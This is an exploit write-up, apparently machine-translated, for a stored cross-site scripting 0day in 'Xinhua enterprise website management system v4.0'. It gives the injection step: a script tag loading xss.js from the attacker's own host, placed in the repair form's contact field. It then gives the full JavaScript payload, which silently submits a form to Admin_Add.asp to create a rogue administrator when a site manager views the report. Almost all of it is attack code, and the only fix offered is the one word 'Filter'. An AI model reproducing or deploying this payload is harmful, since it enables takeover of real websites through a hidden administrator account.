Add administrator and repair in Xinhua enterprise website management system v4.0 XSS0day

From: B0mbErM @ n
Description: The online repair report function is not submitted for filtering.
Analysis: xiu. asp is not submitted for filtering, resulting in execution of any XSS statement.
Patch: Filter
Exp:
.../Xiu. asp directly enters the repair report, and then writes it in the contact address
<Script src = http: // website/XSS/xss. js> </SCRIPT>
Submit the job and wait for the management to read and trigger XSS to execute JS Code.
Js Code (you must replace the target site, user name, and password ):
Document. writeln ("<form action =" http: // target site/manage/Admin_Add.asp? Action = 1 "method =" post "name =" main "> ");
Document. writeln ("");
Document. writeln ("<input type =" text "name =" name "value =" username "> ");
Document. writeln ("");
Document. writeln ("<input type =" text "name =" pass "value =" password "> ");
Document. writeln ("");
Document. writeln ("</form> ");
Document. writeln ("");
Document. writeln ("<script> ");
Document. writeln ("");
Document. writeln ("document. main. submit ();");
Document. writeln ("");
Document. writeln ("</script> ");